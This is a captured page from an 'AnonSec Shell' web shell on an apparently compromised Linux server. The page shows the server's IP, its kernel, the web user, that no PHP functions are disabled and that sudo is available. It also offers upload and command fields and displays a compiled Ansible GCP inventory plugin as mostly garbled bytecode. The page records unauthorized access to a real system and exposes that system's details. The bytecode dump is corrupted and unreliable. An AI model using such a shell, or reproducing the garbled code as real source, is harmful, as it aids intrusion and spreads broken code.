AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.149.214.245
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/ansible/plugins/inventory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyo
�
��\c@`s�ddlmZmZmZeZdZdZddlm	Z	m
Z
ddlmZm
Z
ddlmZddlmZmZmZddlmZmZmZmZdd	lZd
efd��YZdeeefd
��YZd	S(i(tabsolute_importtdivisiontprint_functions�
    name: gcp_compute
    plugin_type: inventory
    short_description: Google Cloud Compute Engine inventory source
    requirements:
        - requests >= 2.18.4
        - google-auth >= 1.3.0
    extends_documentation_fragment:
        - constructed
        - inventory_cache
    description:
        - Get inventory hosts from Google Cloud Platform GCE.
        - Uses a YAML configuration file that ends with gcp_compute.(yml|yaml) or gcp.(yml|yaml).
    options:
        plugin:
            description: token that ensures this is a source file for the 'gcp_compute' plugin.
            required: True
            choices: ['gcp_compute']
        zones:
          description: A list of regions in which to describe GCE instances.
          default: all zones available to a given project
        projects:
          description: A list of projects in which to describe GCE instances.
        filters:
          description: >
            A list of filter value pairs. Available filters are listed here
            U(https://cloud.google.com/compute/docs/reference/rest/v1/instances/list).
            Each additional filter in the list will act be added as an AND condition
            (filter1 and filter2)
        hostnames:
          description: A list of options that describe the ordering for which
              hostnames should be assigned. Currently supported hostnames are
              'public_ip', 'private_ip', or 'name'.
          default: ['public_ip', 'private_ip', 'name']
        auth_kind:
            description:
                - The type of credential used.
        service_account_file:
            description:
                - The path of a Service Account JSON file if serviceaccount is selected as type.
        service_account_email:
            description:
                - An optional service account email address if machineaccount is selected
                  and the user does not wish to use the default email.
s
plugin: gcp_compute
zones: # populate inventory with instances in these regions
  - us-east1-a
projects:
  - gcp-prod-gke-100
  - gcp-cicd-101
filters:
  - machineType = n1-standard-1
  - scheduling.automaticRestart = true AND machineType = n1-standard-1

scopes:
  - https://www.googleapis.com/auth/compute
service_account_file: /tmp/service_account.json
auth_kind: serviceaccount
(tAnsibleErrortAnsibleParserError(t	to_nativetto_text(tstring_types(t
GcpSessiont
navigate_hashtGcpRequestException(tBaseInventoryPlugint
Constructablet	Cacheabletto_safe_group_nameNt
GcpMockModulecB`seZd�Zd�ZRS(cC`s
||_dS(N(tparams(tselfR((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt__init__QscO`st|d��dS(Ntmsg(R(Rtargstkwargs((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt	fail_jsonTs(t__name__t
__module__RR(((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyRPs	tInventoryModulecB`s�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zed
�Z
d�Zd�Zd
�Zd�Zed�ZRS(tgcp_computecC`s tt|�j�d|_dS(Ntgcp_(tsuperRRtgroup_prefix(R((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyR\scC`sa|j|�}|jj|�x(|D] }|jj||||�q&W|jjd|�dS(s1
            :param item: A GCP instance
        tallN(t
_get_hostnamet	inventorytadd_hosttset_variablet	add_child(Rtitemthostnametkey((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt_populate_hostas

cC`sEtt|�j|�rA|jd�r+tS|jd�rAtSntS(s|
            :param path: the path to the inventory config file
            :return the contents of the config file
        sgcp.ymlsgcp.yamlsgcp_compute.ymlsgcp_compute.yaml(sgcp.ymlsgcp.yaml(sgcp_compute.ymlsgcp_compute.yaml(RRtverify_filetendswithtTruetFalse(Rtpath((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyR(kscC`s
dj|�S(s�
            :param params: a dict containing all of the fields relevant to build URL
            :return the formatted URL as a string.
        sOhttps://www.googleapis.com/compute/v1/projects/{project}/zones/{zone}/instances(tformat(RR((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt	self_linkwscC`sGt|�}t|d�}|j|di|d6�}|j||�S(s
            :param params: a dict containing all of the fields relevant to build URL
            :param link: a formatted URL
            :param query: a formatted query string
            :return the JSON response containing a list of instances.
        tcomputeRtfilter(RRtgett_return_if_object(RRtlinktquerytmoduletauthtresponse((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt
fetch_list~scC`sTdj|�}g}|j||d�}x#|dD]}|j|d�q5W|S(s�
            :param config_data: dict of info from inventory file
            :return an array of zones that this project has access to
        s>https://www.googleapis.com/compute/v1/projects/{project}/zonesttitemstname(R-R8tappend(Rtconfig_dataR3tzonestzones_responseR$((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt
_get_zones�scC`s�|s
dSt|�dkr$|dSg}xX|D]P}|ddkrt|ddkrt|jddj|��q1|j|�q1Wdj|�Sd	S(
s~
            :param config_data: contents of the inventory config file
            :return A fully built query string
        R9iit(i����t)s(%s)t N(tlenR<tjoin(Rtfilterstqueriestf((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt_get_query_options�s
 cC`s|jdkrd
S|jdkr&d
Sy|j|j�}Wn\ttjdt�k
ru}|jdd|�n'tk
r�}|jdd|�nXt	|ddg�r�|jdt	|ddg��n|d	d
kr|d	dkr|jddj
|��n|S(s�
            :param module: A GcpModule
            :param response: A Requests response object
            :return JSON response
        i�i�tJSONDecodeErrorRs$Invalid JSON response with error: %ssNetwork error: %sterrorterrorstkindscompute#instanceListscompute#zoneListsIncorrect result: {kind}N(tstatus_codetNonetraise_for_statustjsontgetattrtdecodert
ValueErrorRR
R	R-(RR5R7tresulttinst((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyR2�s " cC`sx	|D]}d|krE|d|d<|djd�d|d<nd|kr}|d|d<|djd�d|d<nd|kr�xa|dD]R}d|kr�|j|d�|d<nd	|kr�|j|d	�|d	<q�q�Wn|d
jd�d|d<qW|S(
s3
            :param items: A list of hosts
        tzonet
zone_selflinkt/i����tmachineTypetmachineType_selflinktnetworkInterfacestnetworkt
subnetworktselfLinkitproject(tsplitt_format_network_info(RR:thostR]((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt
_format_items�s
!cC`s�|s
dS|r"|j|�}nx~|D]v}|j|�|j|�}|j|jd�||�|j|jd�||�|j|jd�||�q)WdS(s�
            :param items: A list of hosts
            :param config_data: configuration data
            :param format_items: format items or not
        Ntcomposetgroupstkeyed_groups(RdR'Rt_set_composite_varst
get_optiont_add_host_to_composed_groupst_add_host_to_keyed_groups(RR:R=tformat_itemsRcR%((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt
_add_hosts�s

cC`sQ|jd�}d}d|kr*d}n
|d}i|d6|dd6|d6S(	sx
            :param address: A GCP network address
            :return a dict with network shortname and region
        RYR9tglobalitregioni����R;R_(Ra(RtaddressRaRo((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyRb�s	
cC`s�dddg}|jd�r0|jd�}nx�|D]{}d}|dkra|j|�}nG|dkr|j|�}n)|dkr�|d}ntd|��|r7|Sq7Wtd��dS(	sm
            :param item: A host response from GCP
            :return the hostname of this instance
        t	public_ipt
private_ipR;t	hostnamesunames$%s is not a valid hostname precedentsNo valid name found for hostN(RiROt
_get_publicipt_get_privateipR(RR$thostname_orderingtorderR;((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyRs

cC`sQxJ|dD]>}d|krx)|dD]}d|kr(|dSq(WqqWdS(su
            :param item: A host response from GCP
            :return the publicIP of this instance or None
        R\t
accessConfigstnatIPunatIPN(RO(RR$t	interfacetaccessConfig((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyRtscC`s-x&|dD]}d|kr|dSqWdS(sv
            :param item: A host response from GCP
            :return the privateIP of this instance or None
        unetworkInterfacest	networkIPu	networkIPN((RR$Rz((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyRu(scC`sgtt|�j|||�i}|j|�}d|krbt|dt�sbtd��qbnd|kr}td��nt|dt�s�td��n|d}|jd�}dg|d<|j|d�}|r�|j	d	�}|j
|�}	nd}	t}
|r�yW|j
j|	�}x>|D]6}x-||D]!}
|j|||
|t�q>Wq-WWq�tk
r�t}
q�Xn|s�|
rGi}x�|D]�}i||<||d
<|s�|j|�}nxl|D]d}
|
|d<|j|�}|j|||�}|j|jd�|�|jd�|||
<q�Wq�Wn|
rc|j
j|	|�ndS(
NR>s0Zones must be a list in GCP inventory YAML filestprojectss0Projects must be included in inventory YAML files3Projects must be a list in GCP inventory YAML filess'https://www.googleapis.com/auth/computetscopesRFtcacheR`RWR:(RRtparset_read_config_datat
isinstancetlistRR1RIRit
get_cache_keyROR+RRmtKeyErrorR*R@R.R8tset(RR tloaderR,RR=R}R>R4t	cache_keytcache_needs_updatetresultsR`RWtcached_dataR3tresp((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyR�2sT


'







"(RRtNAMERR'R(R.R8R@RIR2RdR*RmRbRRtRuR�(((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyRXs 		
										
	
(t
__future__RRRttypet
__metaclass__t
DOCUMENTATIONtEXAMPLEStansible.errorsRRtansible.module_utils._textRRtansible.module_utils.sixRtansible.module_utils.gcp_utilsRR	R
tansible.plugins.inventoryRRR
RRQtobjectRR(((sI/usr/lib/python2.7/site-packages/ansible/plugins/inventory/gcp_compute.pyt<module>s."

Anon7 - 2022
AnonSec Team